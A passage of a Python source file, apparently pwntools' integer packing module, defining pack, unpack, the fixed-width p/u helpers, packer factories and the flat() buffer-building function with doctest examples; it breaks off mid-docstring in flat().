    "content": "r\"\"\"\nModule for packing and unpacking integers.\n\nSimplifies access to the standard ``struct.pack`` and ``struct.unpack``\nfunctions, and also adds support for packing/unpacking arbitrary-width\nintegers.\n\nThe packers are all context-aware for ``endian`` and ``signed`` arguments,\nthough they can be overridden in the parameters.\n\nExamples:\n\n    >>> p8(0)\n    b'\\x00'\n    >>> p32(0xdeadbeef)\n    b'\\xef\\xbe\\xad\\xde'\n    >>> p32(0xdeadbeef, endian='big')\n    b'\\xde\\xad\\xbe\\xef'\n    >>> with context.local(endian='big'): p32(0xdeadbeef)\n    b'\\xde\\xad\\xbe\\xef'\n\n    Make a frozen packer, which does not change with context.\n\n    >>> p=make_packer('all')\n    >>> p(0xff)\n    b'\\xff'\n    >>> p(0x1ff)\n    b'\\xff\\x01'\n    >>> with context.local(endian='big'): print(repr(p(0x1ff)))\n    b'\\xff\\x01'\n\"\"\"\nimport collections\nimport struct\nimport sys\nimport warnings\n\nfrom pwnlib.context import LocalNoarchContext\nfrom pwnlib.context import context\nfrom pwnlib.log import getLogger\n\nfrom pwnlib.util import iters\n\nmod = sys.modules[__name__]\nlog = getLogger(__name__)\n\ndef pack(number, word_size = None, endianness = None, sign = None, **kwargs):\n    r\"\"\"pack(number, word_size = None, endianness = None, sign = None, **kwargs) -> str\n\n    Packs arbitrary-sized integer.\n\n    Word-size, endianness and signedness is done according to context.\n\n    `word_size` can be any positive number or the string \"all\". Choosing the\n    string \"all\" will output a string long enough to contain all the significant\n    bits and thus be decodable by :func:`unpack`.\n\n    `word_size` can be any positive number. The output will contain word_size/8\n    rounded up number of bytes. If word_size is not a multiple of 8, it will be\n    padded with zeroes up to a byte boundary.\n\n    Arguments:\n        number (int): Number to convert\n        word_size (int): Word size of the converted integer or the string 'all' (in bits).\n        endianness (str): Endianness of the converted integer (\"little\"/\"big\")\n        sign (str): Signedness of the converted integer (False/True)\n        kwargs: Anything that can be passed to context.local\n\n    Returns:\n        The packed number as a string.\n\n    Examples:\n\n        >>> pack(0x414243, 24, 'big', True)\n        b'ABC'\n        >>> pack(0x414243, 24, 'little', True)\n        b'CBA'\n        >>> pack(0x814243, 24, 'big', False)\n        b'\\x81BC'\n        >>> pack(0x814243, 24, 'big', True)\n        Traceback (most recent call last):\n           ...\n        ValueError: pack(): number does not fit within word_size\n        >>> pack(0x814243, 25, 'big', True)\n        b'\\x00\\x81BC'\n        >>> pack(-1, 'all', 'little', True)\n        b'\\xff'\n        >>> pack(-256, 'all', 'big', True)\n        b'\\xff\\x00'\n        >>> pack(0x0102030405, 'all', 'little', True)\n        b'\\x05\\x04\\x03\\x02\\x01'\n        >>> pack(-1)\n        b'\\xff\\xff\\xff\\xff'\n        >>> pack(0x80000000, 'all', 'big', True)\n        b'\\x00\\x80\\x00\\x00\\x00'\n\"\"\"\n    if sign is None and number < 0:\n        sign = True\n\n    if word_size != 'all':\n        kwargs.setdefault('word_size', word_size)\n\n    kwargs.setdefault('endianness', endianness)\n    kwargs.setdefault('sign', sign)\n\n    with context.local(**kwargs):\n        # Lookup in context if not found\n        word_size  = 'all' if word_size == 'all' else context.word_size\n        endianness = context.endianness\n        sign       = context.sign\n\n        if not isinstance(number, int):\n            raise ValueError(\"pack(): number must be of type int (got %r)\" % type(number))\n\n        if not isinstance(sign, bool):\n            raise ValueError(\"pack(): sign must be either True or False (got %r)\" % sign)\n\n        if endianness not in ['little', 'big']:\n            raise ValueError(\"pack(): endianness must be either 'little' or 'big' (got %r)\" % endianness)\n\n        # Verify that word_size make sense\n        if word_size == 'all':\n            if number == 0:\n                word_size = 8\n            elif number > 0:\n                if sign:\n                    word_size = (number.bit_length() | 7) + 1\n                else:\n                    word_size = ((number.bit_length() - 1) | 7) + 1\n            else:\n                if not sign:\n                    raise ValueError(\"pack(): number does not fit within word_size\")\n                word_size = ((number + 1).bit_length() | 7) + 1\n        elif not isinstance(word_size, int) or word_size <= 0:\n            raise ValueError(\"pack(): word_size must be a positive integer or the string 'all'\")\n\n        if sign:\n            limit = 1 << (word_size-1)\n            if not -limit <= number < limit:\n                raise ValueError(\"pack(): number does not fit within word_size\")\n        else:\n            limit = 1 << word_size\n            if not 0 <= number < limit:\n                raise ValueError(\"pack(): number does not fit within word_size [%i, %r, %r]\" % (0, number, limit))\n\n        # Normalize number and size now that we have verified them\n        # From now on we can treat positive and negative numbers the same\n        number = number & ((1 << word_size) - 1)\n        byte_size = (word_size + 7) // 8\n\n        out = []\n\n        for _ in range(byte_size):\n            out.append(_p8lu(number & 0xff))\n            number = number >> 8\n\n        if endianness == 'little':\n            return b''.join(out)\n        else:\n            return b''.join(reversed(out))\n\n@LocalNoarchContext\ndef unpack(data, word_size = None):\n    r\"\"\"unpack(data, word_size = None, endianness = None, sign = None, **kwargs) -> int\n\n    Unpacks arbitrary-sized integer.\n\n    Word-size, endianness and signedness is done according to context.\n\n    `word_size` can be any positive number or the string \"all\". Choosing the\n    string \"all\" is equivalent to ``len(data)*8``.\n\n    If `word_size` is not a multiple of 8, then the bits used for padding\n    are discarded.\n\n    Arguments:\n        number (int): String to convert\n        word_size (int): Word size of the converted integer or the string \"all\" (in bits).\n        endianness (str): Endianness of the converted integer (\"little\"/\"big\")\n        sign (str): Signedness of the converted integer (False/True)\n        kwargs: Anything that can be passed to context.local\n\n    Returns:\n        The unpacked number.\n\n    Examples:\n\n        >>> hex(unpack(b'\\xaa\\x55', 16, endian='little', sign=False))\n        '0x55aa'\n        >>> hex(unpack(b'\\xaa\\x55', 16, endian='big', sign=False))\n        '0xaa55'\n        >>> hex(unpack(b'\\xaa\\x55', 16, endian='big', sign=True))\n        '-0x55ab'\n        >>> hex(unpack(b'\\xaa\\x55', 15, endian='big', sign=True))\n        '0x2a55'\n        >>> hex(unpack(b'\\xff\\x02\\x03', 'all', endian='little', sign=True))\n        '0x302ff'\n        >>> hex(unpack(b'\\xff\\x02\\x03', 'all', endian='big', sign=True))\n        '-0xfdfd'\n    \"\"\"\n\n    # Lookup in context if not found\n    word_size  = word_size  or context.word_size\n    endianness = context.endianness\n    sign       = context.sign\n    data = _need_bytes(data, 2)\n\n    # Verify that word_size make sense\n    if word_size == 'all':\n        word_size = len(data) * 8\n    elif not isinstance(word_size, int) or word_size <= 0:\n        raise ValueError(\"unpack(): word_size must be a positive integer or the string 'all'\")\n\n    byte_size = (word_size + 7) // 8\n\n    if byte_size != len(data):\n        raise ValueError(\"unpack(): data must have length %d, since word_size was %d\" % (byte_size, word_size))\n\n    number = 0\n\n    if endianness == \"little\":\n        data = reversed(data)\n    data = bytearray(data)\n\n    for c in data:\n        number = (number << 8) + c\n\n    number = number & ((1 << word_size) - 1)\n\n    if not sign:\n        return int(number)\n\n    signbit = number & (1 << (word_size-1))\n    return int(number - 2*signbit)\n\n@LocalNoarchContext\ndef unpack_many(data, word_size = None):\n    \"\"\"unpack_many(data, word_size = None, endianness = None, sign = None) -> int list\n\n    Splits `data` into groups of ``word_size//8`` bytes and calls :func:`unpack` on each group.  Returns a list of the results.\n\n    `word_size` must be a multiple of `8` or the string \"all\".  In the latter case a singleton list will always be returned.\n\n    Args\n        number (int): String to convert\n        word_size (int): Word size of the converted integers or the string \"all\" (in bits).\n        endianness (str): Endianness of the converted integer (\"little\"/\"big\")\n        sign (str): Signedness of the converted integer (False/True)\n        kwargs: Anything that can be passed to context.local\n\n    Returns:\n        The unpacked numbers.\n\n    Examples:\n\n        >>> list(map(hex, unpack_many(b'\\\\xaa\\\\x55\\\\xcc\\\\x33', 16, endian='little', sign=False)))\n        ['0x55aa', '0x33cc']\n        >>> list(map(hex, unpack_many(b'\\\\xaa\\\\x55\\\\xcc\\\\x33', 16, endian='big', sign=False)))\n        ['0xaa55', '0xcc33']\n        >>> list(map(hex, unpack_many(b'\\\\xaa\\\\x55\\\\xcc\\\\x33', 16, endian='big', sign=True)))\n        ['-0x55ab', '-0x33cd']\n        >>> list(map(hex, unpack_many(b'\\\\xff\\\\x02\\\\x03', 'all', endian='little', sign=True)))\n        ['0x302ff']\n        >>> list(map(hex, unpack_many(b'\\\\xff\\\\x02\\\\x03', 'all', endian='big', sign=True)))\n        ['-0xfdfd']\n    \"\"\"\n    # Lookup in context if None\n    word_size  = word_size  or context.word_size\n    endianness = context.endianness\n    sign       = context.sign\n\n    if word_size == 'all':\n        return [unpack(data, word_size)]\n\n    # Currently we only group on byte boundaries\n    if word_size % 8 != 0:\n        raise ValueError(\"unpack_many(): word_size must be a multiple of 8\")\n\n    out = []\n    n = word_size // 8\n    for i in range(0, len(data), n):\n        out.append(unpack(data[i:i+n], word_size))\n\n    return list(map(int, out))\n\n\n\n#\n# Make individual packers, e.g. _p8lu\n#\nops   = ['p','u']\nsizes = {8:'b', 16:'h', 32:'i', 40: '', 48: '', 56: '', 64:'q'}\nends  = ['b','l']\nsigns = ['s','u']\n\nop_verbs         = {'p': 'pack', 'u': 'unpack'}\n\n\ndef make_single(op,size,end,sign):\n    name = '_%s%s%s%s' % (op, size, end, sign)\n    fmt  = sizes[size]\n\n    # Handle non-standard sizes without the struct module.\n    if fmt == '':\n        endianess = 'big' if end == 'b' else 'little'\n        if op == 'u':\n            def routine(data, stacklevel=1):\n                data = _need_bytes(data, stacklevel)\n                return unpack(data, size, endianness=endianess, sign=sign == 's')\n        else:\n            def routine(data, stacklevel=None):\n                return pack(data, size, endianness=endianess, sign=sign == 's')\n        routine.__name__ = routine.__qualname__ = name\n        return name, routine            \n\n    end = '>' if end == 'b' else '<'\n\n    if sign == 'u':\n        fmt = fmt.upper()\n    fmt = end+fmt\n\n    struct_op = getattr(struct.Struct(fmt), op_verbs[op])\n    if op == 'u':\n        def routine(data, stacklevel=1):\n            data = _need_bytes(data, stacklevel)\n            return struct_op(data)[0]\n    else:\n        def routine(data, stacklevel=None):\n            return struct_op(data)\n    routine.__name__ = routine.__qualname__ = name\n\n    return name, routine\n\n\nfor op,size,end,sign in iters.product(ops, sizes, ends, signs):\n    name, routine = make_single(op,size,end,sign)\n    setattr(mod, name, routine)\n\n\n#\n# Make normal user-oriented packers, e.g. p8\n#\ndef _do_packing(op, size, number, endianness=None):\n\n    name = \"%s%s\" % (op,size)\n    mod = sys.modules[__name__]\n\n    ls = getattr(mod, \"_%sls\" % (name))\n    lu = getattr(mod, \"_%slu\" % (name))\n    bs = getattr(mod, \"_%sbs\" % (name))\n    bu = getattr(mod, \"_%sbu\" % (name))\n\n    endian = endianness or context.endian\n    signed = context.signed\n    return {(\"little\", True ):  ls,\n            (\"little\", False):  lu,\n            (\"big\",    True ):  bs,\n            (\"big\",    False):  bu}[endian, signed](number, 3)\n\n@LocalNoarchContext\ndef p8(number, endianness = None, **kwargs):\n    \"\"\"p8(number, endianness, sign, ...) -> bytes\n\n    Packs an 8-bit integer\n\n    Arguments:\n        number (int): Number to convert\n        endianness (str): Endianness of the converted integer (\"little\"/\"big\")\n        sign (str): Signedness of the converted integer (\"unsigned\"/\"signed\")\n        kwargs (dict): Arguments passed to context.local(), such as\n            ``endian`` or ``signed``.\n\n    Returns:\n        The packed number as a byte string\n    \"\"\"\n    return _do_packing('p', 8, number, endianness)\n\n@LocalNoarchContext\ndef p16(number, endianness = None, **kwargs):\n    \"\"\"p16(number, endianness, sign, ...) -> bytes\n\n    Packs an 16-bit integer\n\n    Arguments:\n        number (int): Number to convert\n        endianness (str): Endianness of the converted integer (\"little\"/\"big\")\n        sign (str): Signedness of the converted integer (\"unsigned\"/\"signed\")\n        kwargs (dict): Arguments passed to context.local(), such as\n            ``endian`` or ``signed``.\n\n    Returns:\n        The packed number as a byte string\n\n    Examples:\n\n        >>> p16(0x4142, 'big')\n        b'AB'\n        >>> p16(0x4142, endianness='big')\n        b'AB'\n    \"\"\"\n    return _do_packing('p', 16, number, endianness)\n\n@LocalNoarchContext\ndef p32(number, endianness = None, **kwargs):\n    \"\"\"p32(number, endianness, sign, ...) -> bytes\n\n    Packs an 32-bit integer\n\n    Arguments:\n        number (int): Number to convert\n        endianness (str): Endianness of the converted integer (\"little\"/\"big\")\n        sign (str): Signedness of the converted integer (\"unsigned\"/\"signed\")\n        kwargs (dict): Arguments passed to context.local(), such as\n            ``endian`` or ``signed``.\n\n    Returns:\n        The packed number as a byte string\n\n    Examples:\n\n        >>> p32(0x41424344, 'big')\n        b'ABCD'\n        >>> p32(0x41424344, endianness='big')\n        b'ABCD'\n    \"\"\"\n    return _do_packing('p', 32, number, endianness)\n\n@LocalNoarchContext\ndef p40(number, endianness = None, **kwargs):\n    \"\"\"p40(number, endianness, sign, ...) -> bytes\n\n    Packs an 40-bit integer\n\n    Arguments:\n        number (int): Number to convert\n        endianness (str): Endianness of the converted integer (\"little\"/\"big\")\n        sign (str): Signedness of the converted integer (\"unsigned\"/\"signed\")\n        kwargs (dict): Arguments passed to context.local(), such as\n            ``endian`` or ``signed``.\n\n    Returns:\n        The packed number as a byte string\n\n    Examples:\n\n        >>> p40(0x4142434445, 'big')\n        b'ABCDE'\n        >>> p40(0x4142434445, endianness='big')\n        b'ABCDE'\n    \"\"\"\n    return _do_packing('p', 40, number, endianness)\n\n@LocalNoarchContext\ndef p48(number, endianness = None, **kwargs):\n    \"\"\"p48(number, endianness, sign, ...) -> bytes\n\n    Packs an 48-bit integer\n\n    Arguments:\n        number (int): Number to convert\n        endianness (str): Endianness of the converted integer (\"little\"/\"big\")\n        sign (str): Signedness of the converted integer (\"unsigned\"/\"signed\")\n        kwargs (dict): Arguments passed to context.local(), such as\n            ``endian`` or ``signed``.\n\n    Returns:\n        The packed number as a byte string\n\n    Examples:\n\n        >>> p48(0x414243444546, 'big')\n        b'ABCDEF'\n        >>> p48(0x414243444546, endianness='big')\n        b'ABCDEF'\n    \"\"\"\n    return _do_packing('p', 48, number, endianness)\n\n@LocalNoarchContext\ndef p56(number, endianness = None, **kwargs):\n    \"\"\"p56(number, endianness, sign, ...) -> bytes\n\n    Packs an 56-bit integer\n\n    Arguments:\n        number (int): Number to convert\n        endianness (str): Endianness of the converted integer (\"little\"/\"big\")\n        sign (str): Signedness of the converted integer (\"unsigned\"/\"signed\")\n        kwargs (dict): Arguments passed to context.local(), such as\n            ``endian`` or ``signed``.\n\n    Returns:\n        The packed number as a byte string\n\n    Examples:\n\n        >>> p56(0x41424344454647, 'big')\n        b'ABCDEFG'\n        >>> p56(0x41424344454647, endianness='big')\n        b'ABCDEFG'\n    \"\"\"\n    return _do_packing('p', 56, number, endianness)\n\n@LocalNoarchContext\ndef p64(number, endianness = None, **kwargs):\n    \"\"\"p64(number, endianness, sign, ...) -> bytes\n\n    Packs an 64-bit integer\n\n    Arguments:\n        number (int): Number to convert\n        endianness (str): Endianness of the converted integer (\"little\"/\"big\")\n        sign (str): Signedness of the converted integer (\"unsigned\"/\"signed\")\n        kwargs (dict): Arguments passed to context.local(), such as\n            ``endian`` or ``signed``.\n\n    Returns:\n        The packed number as a byte string\n\n    Examples:\n\n        >>> p64(0x4142434445464748, 'big')\n        b'ABCDEFGH'\n        >>> p64(0x4142434445464748, endianness='big')\n        b'ABCDEFGH'\n    \"\"\"\n    return _do_packing('p', 64, number, endianness)\n\n@LocalNoarchContext\ndef u8(data, endianness = None, **kwargs):\n    \"\"\"u8(data, endianness, sign, ...) -> int\n\n    Unpacks an 8-bit integer\n\n    Arguments:\n        data (bytes): Byte string to convert\n        endianness (str): Endianness of the converted integer (\"little\"/\"big\")\n        sign (str): Signedness of the converted integer (\"unsigned\"/\"signed\")\n        kwargs (dict): Arguments passed to context.local(), such as\n            ``endian`` or ``signed``.\n\n    Returns:\n        The unpacked number\n    \"\"\"\n    return _do_packing('u', 8, data, endianness)\n\n@LocalNoarchContext\ndef u16(data, endianness = None, **kwargs):\n    \"\"\"u16(data, endianness, sign, ...) -> int\n\n    Unpacks an 16-bit integer\n\n    Arguments:\n        data (bytes): Byte string to convert\n        endianness (str): Endianness of the converted integer (\"little\"/\"big\")\n        sign (str): Signedness of the converted integer (\"unsigned\"/\"signed\")\n        kwargs (dict): Arguments passed to context.local(), such as\n            ``endian`` or ``signed``.\n\n    Returns:\n        The unpacked number\n    \"\"\"\n    return _do_packing('u', 16, data, endianness)\n\n@LocalNoarchContext\ndef u32(data, endianness = None, **kwargs):\n    \"\"\"u32(data, endianness, sign, ...) -> int\n\n    Unpacks an 32-bit integer\n\n    Arguments:\n        data (bytes): Byte string to convert\n        endianness (str): Endianness of the converted integer (\"little\"/\"big\")\n        sign (str): Signedness of the converted integer (\"unsigned\"/\"signed\")\n        kwargs (dict): Arguments passed to context.local(), such as\n            ``endian`` or ``signed``.\n\n    Returns:\n        The unpacked number\n    \"\"\"\n    return _do_packing('u', 32, data, endianness)\n\n@LocalNoarchContext\ndef u40(data, endianness = None, **kwargs):\n    \"\"\"u40(data, endianness, sign, ...) -> int\n\n    Unpacks an 40-bit integer\n\n    Arguments:\n        data (bytes): Byte string to convert\n        endianness (str): Endianness of the converted integer (\"little\"/\"big\")\n        sign (str): Signedness of the converted integer (\"unsigned\"/\"signed\")\n        kwargs (dict): Arguments passed to context.local(), such as\n            ``endian`` or ``signed``.\n\n    Returns:\n        The unpacked number\n    \"\"\"\n    return _do_packing('u', 40, data, endianness)\n\n@LocalNoarchContext\ndef u48(data, endianness = None, **kwargs):\n    \"\"\"u48(data, endianness, sign, ...) -> int\n\n    Unpacks an 48-bit integer\n\n    Arguments:\n        data (bytes): Byte string to convert\n        endianness (str): Endianness of the converted integer (\"little\"/\"big\")\n        sign (str): Signedness of the converted integer (\"unsigned\"/\"signed\")\n        kwargs (dict): Arguments passed to context.local(), such as\n            ``endian`` or ``signed``.\n\n    Returns:\n        The unpacked number\n    \"\"\"\n    return _do_packing('u', 48, data, endianness)\n\n@LocalNoarchContext\ndef u56(data, endianness = None, **kwargs):\n    \"\"\"u56(data, endianness, sign, ...) -> int\n\n    Unpacks an 56-bit integer\n\n    Arguments:\n        data (bytes): Byte string to convert\n        endianness (str): Endianness of the converted integer (\"little\"/\"big\")\n        sign (str): Signedness of the converted integer (\"unsigned\"/\"signed\")\n        kwargs (dict): Arguments passed to context.local(), such as\n            ``endian`` or ``signed``.\n\n    Returns:\n        The unpacked number\n    \"\"\"\n    return _do_packing('u', 56, data, endianness)\n\n@LocalNoarchContext\ndef u64(data, endianness = None, **kwargs):\n    \"\"\"u64(data, endianness, sign, ...) -> int\n\n    Unpacks an 64-bit integer\n\n    Arguments:\n        data (bytes): Byte string to convert\n        endianness (str): Endianness of the converted integer (\"little\"/\"big\")\n        sign (str): Signedness of the converted integer (\"unsigned\"/\"signed\")\n        kwargs (dict): Arguments passed to context.local(), such as\n            ``endian`` or ``signed``.\n\n    Returns:\n        The unpacked number\n    \"\"\"\n    return _do_packing('u', 64, data, endianness)\n\ndef make_packer(word_size = None, sign = None, **kwargs):\n    \"\"\"make_packer(word_size = None, endianness = None, sign = None) -> number → str\n\n    Creates a packer by \"freezing\" the given arguments.\n\n    Semantically calling ``make_packer(w, e, s)(data)`` is equivalent to calling\n    ``pack(data, w, e, s)``. If word_size is one of 8, 16, 32 or 64, it is however\n    faster to call this function, since it will then use a specialized version.\n\n    Arguments:\n        word_size (int): The word size to be baked into the returned packer or the string all (in bits).\n        endianness (str): The endianness to be baked into the returned packer. (\"little\"/\"big\")\n        sign (str): The signness to be baked into the returned packer. (\"unsigned\"/\"signed\")\n        kwargs: Additional context flags, for setting by alias (e.g. ``endian=`` rather than index)\n\n    Returns:\n        A function, which takes a single argument in the form of a number and returns a string\n        of that number in a packed form.\n\n    Examples:\n\n        >>> p = make_packer(32, endian='little', sign='unsigned')\n        >>> p\n        <function _p32lu at 0x...>\n        >>> p(42)\n        b'*\\\\x00\\\\x00\\\\x00'\n        >>> p(-1)\n        Traceback (most recent call last):\n            ...\n        error: integer out of range for 'I' format code\n        >>> make_packer(33, endian='little', sign='unsigned')\n        <function ...<lambda> at 0x...>\n\"\"\"\n    with context.local(sign=sign, **kwargs):\n        word_size  = word_size or context.word_size\n        endianness = context.endianness\n        sign       = sign if sign is None else context.sign\n\n        if word_size in [8, 16, 32, 64]:\n            packer = {\n                (8, 0, 0):  _p8lu,\n                (8, 0, 1):  _p8ls,\n                (8, 1, 0):  _p8bu,\n                (8, 1, 1):  _p8bs,\n                (16, 0, 0): _p16lu,\n                (16, 0, 1): _p16ls,\n                (16, 1, 0): _p16bu,\n                (16, 1, 1): _p16bs,\n                (32, 0, 0): _p32lu,\n                (32, 0, 1): _p32ls,\n                (32, 1, 0): _p32bu,\n                (32, 1, 1): _p32bs,\n                (64, 0, 0): _p64lu,\n                (64, 0, 1): _p64ls,\n                (64, 1, 0): _p64bu,\n                (64, 1, 1): _p64bs,\n            }.get((word_size, {'big': 1, 'little': 0}[endianness], sign))\n\n            if packer:\n                return packer\n\n        return lambda number: pack(number, word_size, endianness, sign)\n\n@LocalNoarchContext\ndef make_unpacker(word_size = None, endianness = None, sign = None, **kwargs):\n    \"\"\"make_unpacker(word_size = None, endianness = None, sign = None,  **kwargs) -> str → number\n\n    Creates an unpacker by \"freezing\" the given arguments.\n\n    Semantically calling ``make_unpacker(w, e, s)(data)`` is equivalent to calling\n    ``unpack(data, w, e, s)``. If word_size is one of 8, 16, 32 or 64, it is however\n    faster to call this function, since it will then use a specialized version.\n\n    Arguments:\n        word_size (int): The word size to be baked into the returned packer (in bits).\n        endianness (str): The endianness to be baked into the returned packer. (\"little\"/\"big\")\n        sign (str): The signness to be baked into the returned packer. (\"unsigned\"/\"signed\")\n        kwargs: Additional context flags, for setting by alias (e.g. ``endian=`` rather than index)\n\n    Returns:\n        A function, which takes a single argument in the form of a string and returns a number\n        of that string in an unpacked form.\n\n    Examples:\n\n        >>> u = make_unpacker(32, endian='little', sign='unsigned')\n        >>> u\n        <function _u32lu at 0x...>\n        >>> hex(u(b'/bin'))\n        '0x6e69622f'\n        >>> u(b'abcde')\n        Traceback (most recent call last):\n            ...\n        error: unpack requires a string argument of length 4\n        >>> make_unpacker(33, endian='little', sign='unsigned')\n        <function ...<lambda> at 0x...>\n\"\"\"\n    word_size  = word_size or context.word_size\n    endianness = context.endianness\n    sign       = context.sign\n\n    if word_size in [8, 16, 32, 64]:\n        endianness = 1 if endianness == 'big'    else 0\n\n        return {\n            (8, 0, 0):  _u8lu,\n            (8, 0, 1):  _u8ls,\n            (8, 1, 0):  _u8bu,\n            (8, 1, 1):  _u8bs,\n            (16, 0, 0): _u16lu,\n            (16, 0, 1): _u16ls,\n            (16, 1, 0): _u16bu,\n            (16, 1, 1): _u16bs,\n            (32, 0, 0): _u32lu,\n            (32, 0, 1): _u32ls,\n            (32, 1, 0): _u32bu,\n            (32, 1, 1): _u32bs,\n            (64, 0, 0): _u64lu,\n            (64, 0, 1): _u64ls,\n            (64, 1, 0): _u64bu,\n            (64, 1, 1): _u64bs,\n        }[word_size, endianness, sign]\n    else:\n        return lambda number: unpack(number, word_size, endianness, sign)\n\ndef _fit(pieces, preprocessor, packer, filler, stacklevel=1):\n\n    # Pulls bytes from `filler` and adds them to `pad` until it ends in `key`.\n    # Returns the index of `key` in `pad`.\n    pad = bytearray()\n    def fill(key):\n        key = bytearray(key)\n        offset = pad.find(key)\n        while offset == -1:\n            pad.append(next(filler))\n            offset = pad.find(key, -len(key))\n        return offset\n\n    # Key conversion:\n    # - convert str/unicode keys to offsets\n    # - convert large int (no null-bytes in a machine word) keys to offsets\n    pieces_ = dict()\n    large_key = 2**(context.word_size-8)\n    for k, v in pieces.items():\n        if isinstance(k, int):\n            if k >= large_key:\n                k = fill(pack(k))\n        elif isinstance(k, (str, bytearray, bytes)):\n            k = fill(_need_bytes(k, stacklevel, 0x80))\n        else:\n            raise TypeError(\"flat(): offset must be of type int or str, but got '%s'\" % type(k))\n        if k in pieces_:\n            raise ValueError(\"flag(): multiple values at offset %d\" % k)\n        pieces_[k] = v\n    pieces = pieces_\n\n    # We must \"roll back\" `filler` so each recursive call to `_flat` gets it in\n    # the right position\n    filler = iters.chain(pad, filler)\n\n    # Build output\n    out = b''\n\n    # Negative indices need to be removed and then re-submitted\n    negative = {k:v for k,v in pieces.items() if isinstance(k, int) and k<0}\n\n    for k in negative:\n        del pieces[k]\n\n    # Positive output\n    for k, v in sorted(pieces.items()):\n        if k < len(out):\n            raise ValueError(\"flat(): data at offset %d overlaps with previous data which ends at offset %d\" % (k, len(out)))\n\n        # Fill up to offset\n        while len(out) < k:\n            out += p8(next(filler))\n\n        # Recursively flatten data\n        out += _flat([v], preprocessor, packer, filler, stacklevel + 1)\n\n    # Now do negative indices\n    out_negative = b''\n    if negative:\n        most_negative = min(negative.keys())\n        for k, v in sorted(negative.items()):\n            k += -most_negative\n\n            if k < len(out_negative):\n                raise ValueError(\"flat(): data at offset %d overlaps with previous data which ends at offset %d\" % (k, len(out)))\n\n            # Fill up to offset\n            while len(out_negative) < k:\n                out_negative += p8(next(filler))\n\n            # Recursively flatten data\n            out_negative += _flat([v], preprocessor, packer, filler, stacklevel + 1)\n\n    return filler, out_negative + out\n\ndef _flat(args, preprocessor, packer, filler, stacklevel=1):\n    out = []\n    for arg in args:\n\n        if not isinstance(arg, (list, tuple, dict)):\n            arg_ = preprocessor(arg)\n            if arg_ is not None:\n                arg = arg_\n\n        if hasattr(arg, '__flat__'):\n            val = arg.__flat__()\n        elif isinstance(arg, (list, tuple)):\n            val = _flat(arg, preprocessor, packer, filler, stacklevel + 1)\n        elif isinstance(arg, dict):\n            filler, val = _fit(arg, preprocessor, packer, filler, stacklevel + 1)\n        elif isinstance(arg, bytes):\n            val = arg\n        elif isinstance(arg, str):\n            val = _need_bytes(arg, stacklevel + 1)\n        elif isinstance(arg, int):\n            val = packer(arg)\n        elif isinstance(arg, bytearray):\n            val = bytes(arg)\n        else:\n            raise ValueError(\"flat(): Flat does not support values of type %s\" % type(arg))\n\n        out.append(val)\n\n        # Advance `filler` for \"non-recursive\" values\n        if not isinstance(arg, (list, tuple, dict)):\n            for _ in range(len(val)):\n                next(filler)\n\n    return b''.join(out)\n\n@LocalNoarchContext\ndef flat(*args, **kwargs):\n    r\"\"\"flat(\\*args, preprocessor = None, length = None, filler = de_bruijn(),\n     word_size = None, endianness = None, sign = None) -> str\n\n    Flattens the arguments into a string.\n\n    This function takes an arbitrary number of arbitrarily nested lists, tuples\n    and dictionaries.  It will then find every string and number inside those\n    and flatten them out.  Strings are inserted directly while numbers are\n    packed using the :func:`pack` function.  Unicode strings are UTF-8 encoded.\n\n    Dictionary keys give offsets at which to place the corresponding values\n    (which are recursively flattened).  Offsets are relative to where the\n    flattened dictionary occurs in the output (i.e. ``{0: 'foo'}`` is equivalent\n    to ``'foo'``).  Offsets can be integers, unicode strings or regular strings.\n    Integer offsets >= ``2**(word_size-8)`` are converted to a string using\n    :func:`pack`.  Unicode strings are UTF-8 encoded.  After these conversions\n    offsets are either integers or strings.  In the latter case, the offset will\n    be the lowest index at which the string occurs in `filler`.  See examples\n    below.\n\n    Space between pieces of data is filled out using the iterable `filler`.  The\n    `n`'th byte in the output will be byte at index ``n % len(iterable)`` byte\n    in `filler` if it has finite length or the byte at index `n` otherwise.\n\n    If `length` is given, the output will be padded with bytes from `filler` to\n    be this size.  If the output is longer than `length`, a :py:exc:`ValueError`\n    exception is raised.\n\n    The three kwargs `word_size`, `endianness` and `sign` will default to using\n    values in :mod:`pwnlib.context` if not specified as an argument.\n\n    Arguments:\n      args: Values to flatten\n      preprocessor (function): Gets called on every element to optionally\n         transform the element before flattening. If :const:`None` is\n         returned, then the original value is used.\n      length: The length of the output.\n      filler: Iterable to use for padding.\n      word_size (int): Word size of the converted integer.\n      endianness (str): Endianness of the converted integer (\"little\"/\"big\").\n      sign (str): Signedness of the converted integer (False/True)\n\n    Examples:\n\n        (Test setup, please ignore)\n\n        >>> context.clear()\n\n        Basic usage of :meth:`flat` works similar to the pack() routines.\n\n        >>> flat(4)\n        b'\\x04\\x00\\x00\\x00'\n\n        :meth:`flat` works with strings, bytes, lists, and dictionaries.\n\n        >>> flat(b'X')\n        b'X'\n        >>> flat([1,2,3])\n        b'\\x01\\x00\\x00\\x00\\x02\\x00\\x00\\x00\\x03\\x00\\x00\\x00'\n        >>> flat({4:b'X'})\n        b'aaaaX'\n\n        :meth:`.flat` flattens all of the values provided, and allows nested lists\n        and dictionaries.\n\n        >>> flat([{4:b'X'}] * 2)\n        b'aaaaXaaacX'\n        >>> flat([[[[[[[[[1]]]], 2]]]]])\n        b'\\x01\\x00\\x00\\x00\\x02\\x00\\x00\\x00'\n\n        You can also provide additional arguments like endianness, word-size, and\n        whether the values are treated as signed or not.\n\n        >>> flat(1, b\"test\", [[[b\"AB\"]*2]*3], endianness = 'little', word_size = 16, sign = False)\n        b'\\x01\\x00testABABABABABAB'\n\n        A preprocessor function can be provided in order to modify the values in-flight.\n        This example converts increments each value by 1, then converts to a byte string.\n\n        >>> flat([1, [2, 3]], preprocessor = lambda x: str(x+1).encode())\n        b'234'\n\n        Using dictionaries is a fast way to get specific values at specific offsets,\n        without having to do ``data += \"foo\"`` repeatedly.\n\n        >>> flat({12: 0x41414141,\n        ...       24: b'Hello',\n        ...      })\n        b'aaaabaaacaaaAAAAeaaafaaaHello'\n\n        Dictionary usage permits directly using values derived from :func:`.cyclic`.\n        See :func:`.cyclic`, :func:`pwnlib.context.context.cyclic_alphabet`, and :data:`.context.cyclic_size`\n        for more options.\n\n        The cyclic pattern can be provided as either the text or hexadecimal offset.\n\n        >>> flat({ 0x61616162: b'X'})\n        b'aaaaX'\n        >>> flat({'baaa': b'X'})\n        b'aaaaX'\n\n        Fields do not have to be in linear order, and can be freely mixed.\n        This also works with cyclic offsets.\n\n        >>> flat({2: b'A', 0:b'B'})\n        b'BaA'\n        >>> flat({0x61616161: b'x', 0x61616162: b'y'})\n        b'xaaay'\n        >>> 